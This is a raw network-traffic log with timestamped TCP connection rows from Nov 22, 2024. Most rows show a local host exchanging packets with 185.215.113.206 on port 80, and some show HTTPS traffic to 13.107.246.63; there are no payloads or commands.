Nov 22, 2024 14:43:58.188111067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.189049006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.189060926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.189120054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.190045118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.190129042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.190198898 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.191194057 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.191248894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.191267967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.191448927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.192286015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.192337036 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.192401886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.192524910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.193378925 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.193437099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.223494053 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.223516941 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.223575115 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.223581076 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.223623991 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.225348949 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.225373983 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.225385904 CET	49892	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.225392103 CET	443	49892	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.229669094 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.229707003 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.229787111 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.230324030 CET	49906	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.230334997 CET	443	49906	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.297482014 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.297548056 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.297797918 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.312486887 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.312510014 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.312603951 CET	49893	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.312611103 CET	443	49893	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.322747946 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.322817087 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.323307991 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.324392080 CET	49907	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.324431896 CET	443	49907	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.335886002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.335988045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.336057901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.336544991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.336549997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.336563110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.336606979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.337272882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.337290049 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.337337017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.337918043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.338051081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.338120937 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.339041948 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.339113951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.339202881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.339394093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.339458942 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.339530945 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.339596987 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.340223074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.340274096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.340302944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.340542078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.341346979 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.341459036 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.341614008 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.342448950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.342567921 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.342583895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.342628956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.343599081 CET	49896	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.343605042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.343627930 CET	443	49896	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.343715906 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.343775034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.344734907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.344829082 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.344892979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.345905066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.345993042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.346055984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.346998930 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.347083092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.347153902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.348138094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.348249912 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.348304987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.348304987 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.349266052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.349380970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.349453926 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.350419998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.350445986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.350663900 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.351533890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.351614952 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.351653099 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.351887941 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.351924896 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.351949930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.351988077 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.352168083 CET	49908	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.352184057 CET	443	49908	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.352677107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.352726936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.352813005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.352957964 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.353794098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.353882074 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.354001045 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.354950905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.355000973 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.355012894 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.355190039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.356091022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.356195927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.356249094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.357213020 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.357393980 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.357453108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.358365059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.358424902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.358455896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.358496904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.359477997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.359575033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.359636068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.360625029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.360752106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.360801935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.361741066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.361809969 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.361840963 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.361948013 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.362894058 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.362951040 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.362987041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.363022089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.364036083 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.364104033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.364129066 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.364170074 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.365190983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.365293980 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.365329981 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.365674973 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.366290092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.366398096 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.366442919 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.367441893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.367521048 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.367594957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.368573904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.368695021 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.368755102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.369740009 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.369776011 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.369824886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.370820045 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.370882988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.370918989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.371130943 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.371968985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.372019053 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.372049093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.372279882 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.373109102 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.373250008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.373311043 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.374258041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.374310970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.374336004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.374375105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.375394106 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.375449896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.375451088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.375531912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.376491070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.376503944 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.376566887 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.377652884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.377701044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.377758026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.378038883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.378787994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.378848076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.378875971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.378926039 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.379940033 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.379992962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.380073071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.381041050 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.381103992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.381150007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.381798029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.382184982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.382302046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.382364035 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.383307934 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.383358955 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.383400917 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.383447886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.384470940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.384577990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.384638071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.385610104 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.385643959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.385672092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.385776997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.386730909 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.386780977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.386827946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.387124062 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.387846947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.387902975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.387912989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.387957096 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.389019966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.389050007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.389108896 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.390130043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.390158892 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.390212059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.391330004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.391447067 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.391508102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.392390013 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.392446041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.392496109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.392544031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.393537998 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.393594027 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.393686056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.393732071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.394617081 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.397820950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.452507019 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.452532053 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.452743053 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.452754974 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.453021049 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.453036070 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.453042984 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.453176022 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.453202963 CET	443	49897	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.453268051 CET	49897	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.456518888 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.456557989 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.456738949 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.470405102 CET	49909	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:58.470422029 CET	443	49909	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:58.536334038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.536422968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.536456108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.536499977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.536855936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.536901951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.537092924 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.537157059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.537205935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.538352966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.538429976 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.538448095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.538491011 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.539371967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.539486885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.539540052 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.540510893 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.540622950 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.540684938 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.541656971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.541711092 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.541878939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.541932106 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.542773008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.542787075 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.542840958 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.543922901 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.543942928 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.543976068 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.543993950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.545069933 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.545120001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.545178890 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.545218945 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.546185970 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.546231031 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.546261072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.546351910 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.547305107 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.547353029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.547379017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.547415018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.548455000 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.548497915 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.548552990 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.548609018 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.549578905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.549623966 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.549751997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.549793959 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.550693989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.550863981 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.550873041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.550918102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.551831007 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.551873922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.551929951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.552006960 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.552984953 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.553121090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.553793907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.554121971 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.554183006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.554467916 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.555265903 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.555330992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.555382967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.555419922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.556385994 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.556448936 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.556483984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.556524038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.557540894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.557584047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.557641983 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.557763100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.558736086 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.558779001 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.558868885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.558919907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.559848070 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.559896946 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.559916019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:58.560067892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:58.560947895 CET	80	49819	185.215.113.206	192.168.2.6
